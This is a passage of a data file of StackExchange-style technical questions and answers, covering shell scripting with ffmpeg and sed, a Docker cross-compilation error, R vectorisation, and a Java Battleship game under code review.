the former if with passedReCaptcha = (reCaptchaResult.IndexOf(\\success\\: true) > 0); "  } 
{  "id": "_unix.114908"  , "question": "I want to convert all *.flac to *.mp3 in the specific folder.This is what I've tried, but not works:# change to the home directorycd ~/music# convert all *.flac filesffmpeg -i *.flac -acodec libmp3lame *.mp3# (optional: check whether there are any errors printed on the terminal)sleep 60How to get my goal?"  , "title": "Bash script to convert all *flac to *.mp3 with FFmpeg?"  , "tags": "bash;shell script;ffmpeg"  , "accepted_answer": "Try this: for i in *.flac ; do     ffmpeg -i $i -acodec libmp3lame $(basename ${i/.flac}).mp3     sleep 60 done"  } 
{  "id": "_webapps.108521"  , "question": "Is there a way to attach my images directly from my google drive inline when composing a message on gmail?When I try to attach an inline image from a sharable link on my google drive, it doesn't show inline when attached, but an image is visible on the preview of image when using the Add Photo > Web URL functionality of gmail.Getting Sharable Link from Google DriveUsing Insert Photo from GMailPhoto is Not Properly AttachedThe reason why we need to use the photo from Google Drive is that we need the versioning of the file, and when we update the image, all the emails that has been sent with the image should be updated as well. We use it for our company wide announcements and resending an updated image would just spam everyone. Is there a way for this to be possible?"  , "title": "Inline image attachment on GMail from GDrive"  , "tags": "email;gmail;google drive"  } 
{  "id": "_softwareengineering.33228"  , "question": "So, I'm seriously considering axing ASP.NET AJAX from my future projects as I honestly feel it's too bloated, and at times convoluted.  I'm also starting to feel it is a dying library in the .NET framework as I hardly see any quality components from the open-source community.  All the kick-ass components are usually equally bloated commercial components... It was cool at first, but now I tend to get annoyed with it more than anything else.I'm planning on switching over to the jQuery library as just about everything in ASP.NET AJAX is often easily achievable with jQuery, and, more often than not, more graceful of a solution that ASP.NET AJAX and it has a much stronger open-source community.Perhaps, it's just me, but do you feel the same way about ASP.NET AJAX?  How was/is your experience working with ASP.NET AJAX?"  , "title": "ASP.NET AJAX and my axe!"  , "tags": "asp.net;jquery;ajax"  , "accepted_answer": "I gotta assume you're talking about WebForms. When first announced, I thought this framework sounded sorta cool... Then I actually got to use it, and immediately hated it. The superficial resemblance to WinForms provides a leaky abstraction that resembles - but utterly fails to match - traditional Windows desktop APIs, while adding endless pitfalls, mountains of tedious boilerplate, and very little else. Early promises of painless cross-browser/cross-device development quickly amounted to nothing, and viewstate brain-damage made it all too easy for new developers to create insanely large, slow pages. The underlying framework isn't all that bad though. "  } 
{  "id": "_unix.374198"  , "question": "I try to move a VirtualBox VM to a docker image. We use the VirtualBox to crosscompile source code for a armhf device (something based on a BeagleBone)I got problems at RUN apt-get install -y build-essential:armhfThe complete Docker code looks like this:FROM debian:jessieRUN apt-get updateRUN apt-get upgradeRUN apt-get install -y build-essential module-assistant curl git cmakeRUN curl http://emdebian.org/tools/debian/emdebian-toolchain-archive.key | apt-key add -RUN echo deb http://emdebian.org/tools/debian jessie main > /etc/apt/sources.list.d/crosstools.listRUN dpkg --add-architecture armhfRUN apt-get updateRUN apt-get install -y crossbuild-essential-armhfRUN apt-get install -y curl:armhfRUN apt-get install -y libcurl4-openssl-dev:armhf openssl:armhf RUN apt-get install -y build-essential:armhfRUN apt-get install -y libssl-dev:armhfI get the following error when running docker build:Step 12/13 : RUN apt-get install -y build-essential:armhf ---> Running in ca5a82d30cc7Reading package lists...Building dependency tree...Reading state information...Some packages could not be installed. This may mean that you haverequested an impossible situation or if you are using the unstabledistribution that some required packages have not yet been createdor been moved out of Incoming.The following information may help to resolve the situation:The following packages have unmet dependencies: build-essential:armhf : Depends: gcc:armhf (>= 4:4.9.1) but it is not going to be installed                         Depends: g++:armhf (>= 4:4.9.1) but it is not going to be installed                         Depends: make:armhfE: Unable to correct problems, you have held broken packages.The command '/bin/sh -c apt-get install -y build-essential:armhf' returned a non-zero code: 100If i do look at the bash history on the VM  it looks the same. What is the problem with my Docker code? EDIT: Output with -o Debug::pkgProblemResolver=yes:  Starting pkgProblemResolver with broken count: 2Starting 2 pkgProblemResolver with broken count: 2Investigating (0) dpkg-dev [ amd64 ] < 1.17.27 > ( utils )Broken dpkg-dev:amd64 Depends on make [ amd64 ] < 4.0-8.1 > ( devel )  Considering make:amd64 1 as a solution to dpkg-dev:amd64 2  Added make:amd64 to the remove listBroken dpkg-dev:amd64 Depends on binutils [ amd64 ] < 2.25-5+deb8u1 > ( devel )  Considering binutils:amd64 1 as a solution to dpkg-dev:amd64 2  Added binutils:amd64 to the remove list  Fixing dpkg-dev:amd64 via keep of make:amd64  Fixing dpkg-dev:amd64 via keep of binutils:amd64Investigating (0) binutils [ armhf ] < none -> 2.25-5+deb8u1 > ( devel )Broken binutils:armhf Conflicts on binutils [ amd64 ] < 2.25-5+deb8u1 > ( devel )  Considering binutils:amd64 1 as a solution to binutils:armhf 2  Added binutils:amd64 to the remove list  Fixing binutils:armhf via remove of binutils:amd64Investigating (0) make [ amd64 ] < 4.0-8.1 > ( devel )Broken make:amd64 Conflicts on make [ armhf ] < none -> 4.0-8.1 > ( devel )  Considering make:armhf 0 as a solution to make:amd64 1  Added make:armhf to the remove list  Fixing make:amd64 via keep of make:armhfInvestigating (0) binutils-arm-linux-gnueabihf [ amd64 ] < 2.25-5 > ( devel )Broken binutils-arm-linux-gnueabihf:amd64 Depends on binutils [ amd64 ] < 2.25-5+deb8u1 > ( devel )  Considering binutils:amd64 1 as a solution to binutils-arm-linux-gnueabihf:amd64 1  Removing binutils-arm-linux-gnueabihf:amd64 rather than change binutils:amd64Investigating (1) build-essential [ armhf ] < none -> 11.7 > ( devel )Broken build-essential:armhf Depends on make [ armhf ] < none -> 4.0-8.1 > ( devel )  Considering make:armhf 0 as a solution to build-essential:armhf 9999  Re-Instated make:armhfInvestigating (1) dpkg-dev [ amd64 ] < 1.17.27 > ( utils )Broken dpkg-dev:amd64 Depends on binutils [ amd64 ] < 2.25-5+deb8u1 > ( devel )  Considering binutils:amd64 1 as a solution to dpkg-dev:amd64 2  Added binutils:amd64 to the remove list  Fixing dpkg-dev:amd64 via keep of binutils:amd64Investigating (1) gcc-4.9-arm-linux-gnueabihf [ amd64 ] < 4.9.2-10 > ( devel )Broken gcc-4.9-arm-linux-gnueabihf:amd64 Depends on binutils-arm-linux-gnueabihf [ amd64 ] < 2.25-5 > ( devel ) (>= 2.25)  Considering binutils-arm-linux-gnueabihf:amd64 1 as a solution to gcc-4.9-arm-linux-gnueabihf:amd64 2  Added binutils-arm-linux-gnueabihf:amd64 to the remove list  Fixing gcc-4.9-arm-linux-gnueabihf:amd64 via keep of binutils-arm-linux-gnueabihf:amd64Investigating (1) binutils [ armhf ] < none -> 2.25-5+deb8u1 > ( devel )Broken binutils:armhf Conflicts on binutils [ amd64 ] < 2.25-5+deb8u1 > ( devel )  Considering binutils:amd64 1 as a solution to binutils:armhf 2  Added binutils:amd64 to the remove list  Fixing binutils:armhf via remove of binutils:amd64Investigating (1) make [ amd64 ] < 4.0-8.1 > ( devel )Broken make:amd64 Conflicts on make [ armhf ] < none -> 4.0-8.1 > ( devel )  Considering make:armhf 0 as a solution to make:amd64 1  Added make:armhf to the remove list  Fixing make:amd64 via keep of make:armhfInvestigating (1) binutils-arm-linux-gnueabihf [ amd64 ] < 2.25-5 > ( devel )Broken binutils-arm-linux-gnueabihf:amd64 Depends on binutils [ amd64 ] < 2.25-5+deb8u1 > ( devel )  Considering binutils:amd64 1 as a solution to binutils-arm-linux-gnueabihf:amd64 1  Removing binutils-arm-linux-gnueabihf:amd64 rather than change binutils:amd64Investigating (2) build-essential [ armhf ] < none -> 11.7 > ( devel )Broken build-essential:armhf Depends on make [ armhf ] < none -> 4.0-8.1 > ( devel )  Considering make:armhf 0 as a solution to build-essential:armhf 9999  Considering make-guile:armhf -1 as a solution to build-essential:armhf 9999  Re-Instated libgc1c2:armhf  Re-Instated libltdl7:armhf  Re-Instated libtinfo5:armhf  Re-Instated libncurses5:armhf  Re-Instated libreadline6:armhf  Re-Instated libunistring0:armhf  Re-Instated guile-2.0-libs:armhf  Re-Instated make-guile:armhfInvestigating (2) dpkg-dev [ amd64 ] < 1.17.27 > ( utils )Broken dpkg-dev:amd64 Depends on binutils [ amd64 ] < 2.25-5+deb8u1 > ( devel )  Considering binutils:amd64 1 as a solution to dpkg-dev:amd64 2  Added binutils:amd64 to the remove list  Fixing dpkg-dev:amd64 via keep of binutils:amd64Investigating (2) gcc-4.9-arm-linux-gnueabihf [ amd64 ] < 4.9.2-10 > ( devel )Broken gcc-4.9-arm-linux-gnueabihf:amd64 Depends on binutils-arm-linux-gnueabihf [ amd64 ] < 2.25-5 > ( devel ) (>= 2.25)  Considering binutils-arm-linux-gnueabihf:amd64 1 as a solution to gcc-4.9-arm-linux-gnueabihf:amd64 2  Added binutils-arm-linux-gnueabihf:amd64 to the remove list  Fixing gcc-4.9-arm-linux-gnueabihf:amd64 via keep of binutils-arm-linux-gnueabihf:amd64Investigating (2) binutils [ armhf ] < none -> 2.25-5+deb8u1 > ( devel )Broken binutils:armhf Conflicts on binutils [ amd64 ] < 2.25-5+deb8u1 > ( devel )  Considering binutils:amd64 2 as a solution to binutils:armhf 2  Holding Back binutils:armhf rather than change binutils:amd64Investigating (2) make [ amd64 ] < 4.0-8.1 > ( devel )Broken make:amd64 Conflicts on make-guile [ armhf ] < none -> 4.0-8.1 > ( devel )  Considering make-guile:armhf -1 as a solution to make:amd64 1  Added make-guile:armhf to the remove list  Fixing make:amd64 via keep of make-guile:armhfInvestigating (3) build-essential [ armhf ] < none -> 11.7 > ( devel )Broken build-essential:armhf Depends on make [ armhf ] < none -> 4.0-8.1 > ( devel )  Considering make:armhf 0 as a solution to build-essential:armhf 9999  Considering make-guile:armhf 1 as a solution to build-essential:armhf 9999Investigating (3) gcc-4.9 [ armhf ] < none -> 4.9.2-10 > ( devel )Broken gcc-4.9:armhf Depends on binutils [ armhf ] < none -> 2.25-5+deb8u1 > ( devel ) (>= 2.25)  Considering binutils:armhf 2 as a solution to gcc-4.9:armhf 3  Holding Back gcc-4.9:armhf rather than change binutils:armhfInvestigating (3) gcc [ armhf ] < none -> 4:4.9.2-2 > ( devel )Broken gcc:armhf Depends on gcc-4.9 [ armhf ] < none -> 4.9.2-10 > ( devel ) (>= 4.9.2-1~)  Considering gcc-4.9:armhf 3 as a solution to gcc:armhf 1  Holding Back gcc:armhf rather than change gcc-4.9:armhfInvestigating (3) g++ [ armhf ] < none -> 4:4.9.2-2 > ( devel )Broken g++:armhf Depends on gcc [ armhf ] < none -> 4:4.9.2-2 > ( devel ) (>= 4:4.9.2-2)  Considering gcc:armhf 1 as a solution to g++:armhf 0  Holding Back g++:armhf rather than change gcc:armhfInvestigating (3) g++-4.9 [ armhf ] < none -> 4.9.2-10 > ( devel )Broken g++-4.9:armhf Depends on gcc-4.9 [ armhf ] < none -> 4.9.2-10 > ( devel ) (= 4.9.2-10)  Considering gcc-4.9:armhf 3 as a solution to g++-4.9:armhf 0  Holding Back g++-4.9:armhf rather than change gcc-4.9:armhfInvestigating (4) build-essential [ armhf ] < none -> 11.7 > ( devel )Broken build-essential:armhf Depends on gcc [ armhf ] < none -> 4:4.9.2-2 > ( devel ) (>= 4:4.9.1)  Considering gcc:armhf 1 as a solution to build-essential:armhf 9999  Re-Instated binutils:armhf  Re-Instated gcc-4.9:armhf  Re-Instated gcc:armhfBroken build-essential:armhf Depends on g++ [ armhf ] < none -> 4:4.9.2-2 > ( devel ) (>= 4:4.9.1)  Considering g++:armhf 0 as a solution to build-essential:armhf 9999  Re-Instated g++-4.9:armhf  Re-Instated g++:armhfBroken build-essential:armhf Depends on make [ armhf ] < none -> 4.0-8.1 > ( devel )  Considering make:armhf 0 as a solution to build-essential:armhf 9999  Considering make-guile:armhf 1 as a solution to build-essential:armhf 9999Investigating (4) binutils [ armhf ] < none -> 2.25-5+deb8u1 > ( devel )Broken binutils:armhf Conflicts on binutils [ amd64 ] < 2.25-5+deb8u1 > ( devel )  Considering binutils:amd64 2 as a solution to binutils:armhf 2  Holding Back binutils:armhf rather than change binutils:amd64Investigating (5) build-essential [ armhf ] < none -> 11.7 > ( devel )Broken build-essential:armhf Depends on make [ armhf ] < none -> 4.0-8.1 > ( devel )  Considering make:armhf 0 as a solution to build-essential:armhf 9999  Considering make-guile:armhf 1 as a solution to build-essential:armhf 9999Investigating (5) gcc-4.9 [ armhf ] < none -> 4.9.2-10 > ( devel )Broken gcc-4.9:armhf Depends on binutils [ armhf ] < none -> 2.25-5+deb8u1 > ( devel ) (>= 2.25)  Considering binutils:armhf 2 as a solution to gcc-4.9:armhf 3  Holding Back gcc-4.9:armhf rather than change binutils:armhfInvestigating (5) gcc [ armhf ] < none -> 4:4.9.2-2 > ( devel )Broken gcc:armhf Depends on gcc-4.9 [ armhf ] < none -> 4.9.2-10 > ( devel ) (>= 4.9.2-1~)  Considering gcc-4.9:armhf 3 as a solution to gcc:armhf 1  Holding Back gcc:armhf rather than change gcc-4.9:armhfInvestigating (5) g++ [ armhf ] < none -> 4:4.9.2-2 > ( devel )Broken g++:armhf Depends on gcc [ armhf ] < none -> 4:4.9.2-2 > ( devel ) (>= 4:4.9.2-2)  Considering gcc:armhf 1 as a solution to g++:armhf 0  Holding Back g++:armhf rather than change gcc:armhfInvestigating (5) g++-4.9 [ armhf ] < none -> 4.9.2-10 > ( devel )Broken g++-4.9:armhf Depends on gcc-4.9 [ armhf ] < none -> 4.9.2-10 > ( devel ) (= 4.9.2-10)  Considering gcc-4.9:armhf 3 as a solution to g++-4.9:armhf 0  Holding Back g++-4.9:armhf rather than change gcc-4.9:armhfInvestigating (6) build-essential [ armhf ] < none -> 11.7 > ( devel )Broken build-essential:armhf Depends on gcc [ armhf ] < none -> 4:4.9.2-2 > ( devel ) (>= 4:4.9.1)  Considering gcc:armhf 1 as a solution to build-essential:armhf 9999Broken build-essential:armhf Depends on g++ [ armhf ] < none -> 4:4.9.2-2 > ( devel ) (>= 4:4.9.1)  Considering g++:armhf 0 as a solution to build-essential:armhf 9999Broken build-essential:armhf Depends on make [ armhf ] < none -> 4.0-8.1 > ( devel )  Considering make:armhf 0 as a solution to build-essential:armhf 9999  Considering make-guile:armhf 1 as a solution to build-essential:armhf 9999Done"  , "title": "Docker CrossCompile Debian build-essential:armhf unmet dependencies"  , "tags": "debian;docker;cross compilation"  , "accepted_answer": "This is the line causing problems:RUN apt-get install -y build-essential:armhfYou dont need build-essential:armhf to cross-compile. You should remove that; docker build should then be able to build a container without issue."  } 
{  "id": "_unix.213539"  , "question": "I have installed CentOS 7 DVD ISO on my MSI GE70 Laptop that has geforce gtx 765m, when the GUI comes after 5 seconds screen freeze.Is this an nvidia problem? How can I solve it?I cannot disable my geforce video card from BIOS. So how can I use my default video or there is solution for that? Even if I use my default video card there will be a problem about watching videos on youtube, etc., because of lag issue."  , "title": "Centos 7 GUI Freeze problem"  , "tags": "centos;freeze;intel graphics;graphic card"  } 
{  "id": "_codereview.155962"  , "question": "GoalWrite an R function to generate probabilities modeled by the following equation (IRT; 2 Parameter Logistic Model):Dataset.seed(1)a = runif(10, 1.5, 3)b = rnorm(10, 0, 1)theta = rnorm(10000000)# the output of the implementation should result in # a matrix with 100 mil. rows and 10 columnsImplementationStrategy A# the implementation of the equationcomputeProbability = function(theta, b, a) {    x = exp(1) ^ (a * (theta - b))    return(x / (1 + x))}strategy.A = function(theta, b, a) {    n.rows = length(theta)    n.cols = length(b)    prob_mtx = matrix(nrow = n.rows, ncol = n.cols)    for(i in 1:n.rows)    {        prob_mtx[i, ] = computeProbability(theta[i], b, a)    }    return(prob_mtx)}Strategy Bstrategy.B = function(theta, b, a) {   return(t(sapply(theta, computeProbability, b = b, a = a)))}Strategy Cstrategy.C = function(theta, b, a) {    return(1 / (1 + exp(-sweep(outer(theta, b, -), 2, a, *))))}Timings    # Strategy A        |       # Strategy B        |       # Strategy C                        |                           | user  system elapsed   |    user  system elapsed   |   user  system elapsed64.76    0.27   65.08   |   82.01    0.91   82.93   |   7.81    0.64    8.46Question: Strategy C is by far the most efficient way, but how can I make it even faster?"  , "title": "Increase performance in an R function using a vectorized approach"  , "tags": "performance;r;iteration;vectorization"  } 
{  "id": "_unix.191057"  , "question": "I am trying to replace a range of text with sed containing special characters.I have the following output:Users /Users/Users   SERVER1Roaming Profiles /Roaming Profiles/Roaming Profiles   SERVER2I would like it to be like this:Users SERVER1Roaming Profiles SERVER2"  , "title": "Replace a range of text with special characters using sed"  , "tags": "sed"  } 
{  "id": "_unix.102484"  , "question": "This question concerns the yes command found in UNIX and Linux machines: Basically, what is the point (if any) and history of this tool? Are there practical applications for it? Can an example be shown where it is useful in a script or chained (via pipe or redirect) with another tool?The manpage is below:YES(1)                    BSD General Commands Manual                   YES(1)NAME     yes -- be repetitively affirmativeSYNOPSIS     yes [expletive]DESCRIPTION     yes outputs expletive, or, by default, ``y'', forever.HISTORY     The yes command appeared in 4.0BSD.4th Berkeley Distribution        June 6, 1993        4th Berkeley DistributionSample output:$ yes whywhywhywhywhy^Cwhy"  , "title": "What is the point of the `yes` command?"  , "tags": "utilities"  , "accepted_answer": "It's usually used as a quick and dirty way to provide answers to an interactive script:yes | rm -r large_directorywill not prompt you about any file being removed. Of course in the case of rm, you can always supply -f to make it steamroll the directory removal, but not all tools are so forgiving.UpdateA more relevant example of this that I recently came across is when you are fscking a filesystem and you don't want to bother answering y when prompted before fixing each error:yes | fsck /dev/foo"  } 
{  "id": "_reverseengineering.9309"  , "question": "I bought a decibel meter off amazon recently (http://www.amazon.com/Sound-Measure-Tester-Pressure-Decibel/dp/B00CPKSE38/ref=sr_1_1?ie=UTF8&qid=1436376590&sr=8-1&keywords=wensn) which outputs db measurements to a microsd card. I opened the sd card's content on my computer and encountered four separate *.wsn files, two of which I created and the other two apparently made by the manufacturer in testing perhaps. Anyway, did a google search for the .wsn file extension and can't find anything but something called a whoopsie skin file which doesn't appear to be what I'm looking for. Can anyone help me find a way to parse this file? I imagine it simply contains a table of information with two columns (db level and time)Here's the link to a sample of the file. It is time series data for just a couple of seconds from the decibel meter.https://drive.google.com/file/d/0B0yWXI3LgLr4ME1DeUs4SDFMX1E/view?usp=sharingUpdate:The db measurement device's manufacturer is wensn, which clearly accounts for the file name extension. I've found two leads so far:manufacture website for device (not very helpful, in fact it has been HACKED)reverse engineering wensn usb stream data (pretty advanced stuff)wensn usb stream github parsing project in pythonbut both are for parsing usb streams of *.tmp files from the device, rather than the static wsn files. I'm guessing I could utilize this code to parse the wsn files, but I don't know how to do that yet. Honestly I'm in way over my head at this point.I first posted this question meta.stackexchange, you can find that discussion here. The expected output data is columnar, time and decibel level, as seems to be indicated here.Update 2:I think there may be a way to decode this file using the 'sigrok' utility, which is used to read all sorts of serial outputs from scientific sensors."  , "title": "Mysterious bytecode (executable?) file from a chinese decibel meter whose manufacturer has been hacked &/or gone bankrupt"  , "tags": "executable;byte code"  } 
{  "id": "_softwareengineering.340481"  , "question": "Should every single class in my system have an interface?I understand that interfaces provide an abstraction from the implementation of a class and so changes to the implementation do not affect classes that are using the interface, i.e. cross platform implementations may differ but the interface can stay the same. But what about when testing? I want to test every class and function I write, and sometimes I want to mock classes that may use heavy resources like databases or third party web apis. If I create an interface for every single class in my system I can easily create mocks and unit tests against the interfaces, and this will allow me to test all classes and functions in the system, but I feel like this is overkill. Is there a more efficient way to get 100% coverage when testing a system, using unit tests and mocks, without creating interfaces for every single class?"  , "title": "Should every class in my system have an interface?"  , "tags": "architecture;interfaces"  } 
{  "id": "_codereview.164048"  , "question": "I'm new in Java and want to learn and improve.The full project can be inspected hereThis is a Terminal game Battle Ship:The computer sets ships randomly on an ocean and you have to shoot down all those ships.I got several questions:I try to follow best practice, dependency injection, as much as possible. But I'm not sure whether my approach is a good one. For example in OceanImpl.java, I created classes that takes the OceanImpl-cass itself as it's parameter. Is this dependency injection implemented correctly? If not, how would you do it?I tried to make the classes not larger than 100 lines, thus I exported as much as possible into separated small classses and functions, in order to be DRY, create reusable components. But for some classes I think the it's still not dry enough. For example SetOnOceanVertically and SetOnOceanHorizontally is quite similar. Is it possible to refactor them further?Eventhough I used interfaces in order to make the program as flexible to changes as possible, I think it is still not flexible enough. Lookint at Game.java, in particular the line int[] userInput = Helper.getIntegerUserInputInRange(ocean.getXLength(), ocean.getYLength());, if I wanted to switch from Commandline UI to a GUI or changing from 2D to 3D, then I would have to write at least that line too. So, I can't just swap the UI and expect not to touch other parts of the code.Main.javapackage main;import main.controller.Game;import main.model.MaritimeElement;import main.model.OceanImpl;public class Main {    public static void main(String[] args) throws Exception {        Ocean ocean = new OceanImpl(6, 7);        ocean.setShipWhereThereIsPlace(MaritimeElement.AIRCRAFT_CARRIER);        ocean.setShipWhereThereIsPlace(MaritimeElement.AIRCRAFT_CARRIER);        ocean.setShipWhereThereIsPlace(MaritimeElement.CRUISER);        ocean.setShipWhereThereIsPlace(MaritimeElement.CRUISER);        ocean.setShipWhereThereIsPlace(MaritimeElement.DESTROYER);        ocean.setShipWhereThereIsPlace(MaritimeElement.DESTROYER);        Game game = new Game(ocean);        game.start();    }}OceanImpl.javapackage main.model;import main.controller.*;import main.controller.assertion.AssertionMaritime;import main.controller.assertion.AssertionMaritimeImpl;import main.controller.utils.Helper;import java.awt.*;import java.util.HashMap;import java.util.HashSet;import java.util.Map;import java.util.Set;public class OceanImpl implements Ocean{    MaritimeElement[][] ocean;    Map<Point, MaritimeElement> shotsMade = new HashMap<>();    Set<Point> shipsPlaced = new HashSet<>();    RandomCoordinateFactory randomCoordinateFactory;    FindFreePosition findFreePosition;    AssertionMaritime assertShip = new AssertionMaritimeImpl();    SetOnOcean setOnOceanHorizontally;    SetOnOcean setOnOceanVertically;    SetOnOcean[] setOnOcean;    public OceanImpl(int xLength, int yLength) throws Exception {        assertShip.isLargerThanMinimumDimension(xLength, yLength);        ocean = Helper.initOcean(yLength, xLength);        randomCoordinateFactory = new RandomCoordinateFactory(ocean[0].length, ocean.length);        findFreePosition = new FindFreePosition(this, assertShip);        setOnOceanHorizontally = new SetOnOceanHorizontally(this);        setOnOceanVertically = new SetOnOceanVertically(this);        setOnOcean = new SetOnOcean[]{setOnOceanHorizontally, setOnOceanVertically};    }    @Override    public int getXLength() {return ocean[0].length;}    @Override    public int getYLength() {return ocean.length;}    @Override    public MaritimeElement getLocationStatusAt(int x, int y) {return ocean[y][x];}    @Override    public MaritimeElement shootAt(int[] userInput) throws Exception {        int x = userInput[0], y = userInput[1];        assertShip.isPointWithinRange(x,y, this.getXLength(), this.getYLength());        shotsMade.put(new Point(x,y), getLocationStatusAt(x,y));        shipsPlaced.remove(new Point(x,y));        return getLocationStatusAt(x,y);    }    @Override    public int howManyTargetsHit() {return shipsPlaced.size();}    @Override    public MaritimeElement getShotMade(int x, int y) {return shotsMade.get(new Point(x,y));}    @Override    public Result setShipWhereThereIsPlace(MaritimeElement ship) throws Exception {        int[] position = findFreePosition.getPosition(ship.val());        if (position[Coordinate.X.val()] != -1){            setOnOcean[position[Coordinate.ORIENTATION.val()]]                .setShip(position[Coordinate.X.val()],position[Coordinate.Y.val()],ship);            return Result.SUCCESS;        }        return Result.FAILED;    }    @Override    public void setMaritime(int x, int y, MaritimeElement ship) {        try {            ocean[y][x] = ship;        } catch(Exception e) {            e.getCause();        }    }    @Override    public void setShipsPlaced(int x, int y) {        shipsPlaced.add(new Point(x, y));    }}Game.javapackage main.controller;import main.controller.assertion.AssertionMaritime;import main.controller.assertion.AssertionMaritimeImpl;import main.controller.utils.Helper;import main.model.Ocean;import main.model.OceanImpl;import main.model.MaritimeElement;import main.view.CommandLineInterface;import main.view.UserInterface;public class Game {    Ocean ocean;    UserInterface ui = new CommandLineInterface();    AssertionMaritime assertUser = new AssertionMaritimeImpl();    public Game(OceanImpl ocean) {        this.ocean = ocean;    }    public void start() throws Exception {        do {            ui.showOceanHidden(ocean);            int[] userInput = Helper.getIntegerUserInputInRange(ocean.getXLength(), ocean.getYLength());            MaritimeElement shotAtElement = ocean.shootAt(userInput);            displayResult(shotAtElement);        } while(ocean.howManyTargetsHit() != 0);        ui.displayFeedbackWin();        ui.showOcean(ocean);    }    private void displayResult(MaritimeElement shotAtElement) {        if (assertUser.isWater(shotAtElement)) {            ui.displayFeedbackShotMissed();        } else {            ui.displayFeedbackShotHit();        }    }}SetOnOceanHorizontally.javapackage main.controller;import main.model.MaritimeElement;import main.model.Ocean;public class SetOnOceanHorizontally implements SetOnOcean {    Ocean ocean;    public SetOnOceanHorizontally(Ocean ocean) {        this.ocean = ocean;    }    @Override    public void setShip(int x, int y, MaritimeElement ship) {        for (int i = 0; i < ship.val(); i++) {            int xCoordinate = x + i, yCoordinate = y;            try {                ocean.setMaritime(xCoordinate, yCoordinate, ship);            } catch(Exception e) {                e.getCause();            }            ocean.setShipsPlaced(xCoordinate,yCoordinate);        }    }}SetOnOceanVertically.javapackage main.controller;import main.model.MaritimeElement;import main.model.Ocean;public class SetOnOceanVertically implements SetOnOcean {    Ocean ocean;    public SetOnOceanVertically(Ocean ocean) {        this.ocean = ocean;    }    @Override    public void setShip(int x, int y, MaritimeElement ship) {        for (int i = 0; i < ship.val(); i++) {            int xCoordinate = x, yCoordinate = y + i;            try {                ocean.setMaritime(xCoordinate,yCoordinate, ship);            } catch(Exception e) {                e.getCause();            }            ocean.setShipsPlaced(xCoordinate,yCoordinate);        }    }}RandomCoordinateFactory.javapackage main.controller;import java.awt.*;public class RandomCoordinateFactory {    private int xLength;    private int yLength;    public RandomCoordinateFactory(int xLength, int yLength) {        this.xLength = xLength;        this.yLength = yLength;    }    private int getRandomHorizontalXPosition(int shipLength) { return (int)Math.floor(Math.random() * (xLength - shipLength));}    private int getRandomHorizontalYPosition() {        return (int)Math.floor(Math.random() * yLength);    }    private int getRandomVerticalXPosition() {        return (int)Math.floor(Math.random() * xLength);    }    private int getRandomVerticalYPosition(int shipLength) {return (int)Math.floor(Math.random() * (yLength - shipLength));}    public Point getStartPointForHorizontalShip(int shipLength) {        return new Point(getRandomHorizontalXPosition(shipLength), getRandomHorizontalYPosition());    }    public Point getStartPointForVerticalShip(int shipLength) {        return new Point(getRandomVerticalXPosition(), getRandomVerticalYPosition(shipLength));    }}FindFreePosition.javapackage main.controller;import main.controller.assertion.AssertionMaritime;import main.model.MaritimeElement;import main.model.Ocean;import main.model.Orientation;import java.awt.*;public class FindFreePosition {    Ocean ocean;    RandomCoordinateFactory randomPoint;    AssertionMaritime assertShip;    public FindFreePosition(Ocean ocean, AssertionMaritime assertShip) {        this.ocean = ocean;        this.assertShip = assertShip;        randomPoint = new RandomCoordinateFactory(ocean.getXLength(), ocean.getYLength());    }    public int[] getPosition(int shipLength) throws Exception {        int[][] startingPoints = findFreePositionsHorizontallyAndVertically(shipLength);        int selectRandomly = (int)(Math.random() * startingPoints.length);        if (startingPoints[selectRandomly][0] != -1) return startingPoints[selectRandomly];        throw new Exception(No space for ships found);    }    private int[][] findFreePositionsHorizontallyAndVertically(int shipLength) throws Exception {        Point startPointHorizontalShip = randomPoint.getStartPointForHorizontalShip(shipLength);        Point startPointVerticalShip = randomPoint.getStartPointForVerticalShip(shipLength);        int[] coordHorizontal = findFreePositionHorizontally(shipLength, startPointHorizontalShip.x, startPointHorizontalShip.y);        int[] coordVertical = findFreePositionVertically(shipLength, startPointVerticalShip.x, startPointVerticalShip.y);        return new int[][]{coordHorizontal, coordVertical};    }    private int[] findFreePositionVertically(int shipLength, int xOffset, int yOffset) throws Exception {        int x = xOffset,y = yOffset, k = 0, xIteration = 0;        int[] start = {-1,-1,Orientation.VERTICAL.getValue()};        while (x < ocean.getXLength() && xIteration < 2) {            while (y < ocean.getYLength()) {                MaritimeElement currentMaritimeElement = ocean.getLocationStatusAt(x,y);                if (k == 0) start = new int[]{x, y, Orientation.VERTICAL.getValue()};                if (assertShip.isWater(currentMaritimeElement)) k++;                if (k == shipLength) return start;                if (assertShip.isSpaceAvailable(currentMaritimeElement, ocean.getYLength(), shipLength, y, k)) {                    k = 0;                    start = new int[]{-1, -1, Orientation.VERTICAL.getValue()};                }                y++;            }            y = 0;            k = 0;            x++;            if (x >= ocean.getXLength()) xIteration++;            x = x % ocean.getXLength();        }        return start;    }    private int[] findFreePositionHorizontally(int shipLength, int xOffset, int yOffset) throws Exception {        int x = xOffset, y = yOffset, k = 0, yIteration = 0;;        int[] start = {-1,-1, Orientation.HORIZONTAL.getValue()};        while (y < ocean.getYLength() && yIteration < 2) {            while (x < ocean.getXLength()) {                MaritimeElement currentMaritimeElement = ocean.getLocationStatusAt(x,y);                if (k == 0) start = new int[]{x, y, Orientation.HORIZONTAL.getValue()};                if (assertShip.isWater(currentMaritimeElement)) k++;                if (k == shipLength) return start;                if (assertShip.isSpaceAvailable(currentMaritimeElement, ocean.getXLength(), shipLength, x, k)) {                    k = 0;                    start = new int[]{-1, -1, Orientation.HORIZONTAL.getValue()};                }                x++;            }            x = 0;            k = 0;            y++;            if (y >= ocean.getYLength()) yIteration++;            y = y % ocean.getYLength();        }        return start;    }}CommandLindInterface.javapackage main.view;import main.controller.DrawMaritime;import main.controller.DrawMaritimeImpl;import main.model.MaritimeElement;import main.model.Ocean;public class CommandLineInterface implements UserInterface{    DrawMaritime drawMaritime = new DrawMaritimeImpl();    @Override    public void display(String message) {        System.out.println(message);    }    @Override    public void displayFeedbackWin() {        display(You won!);    }    @Override    public void displayFeedbackShotMissed() {        display(Missed);    }    @Override    public void displayFeedbackShotHit() {        display(Hit);    }    @Override    public void showOceanOpen(Ocean ocean) {        genericDrawOcean(ocean, drawShipsOpenly);    }    @Override    public void showOcean(Ocean ocean) {        genericDrawOcean(ocean, drawAllShips);    }    @Override    public void showOceanHidden(Ocean ocean) {        genericDrawOcean(ocean, drawShotsMade);    }    private void genericDrawOcean(Ocean ocean, DrawStuffOnOcean drawStuffOnOcean) {        for (int y = 0; y < ocean.getYLength(); y++) {            for (int x 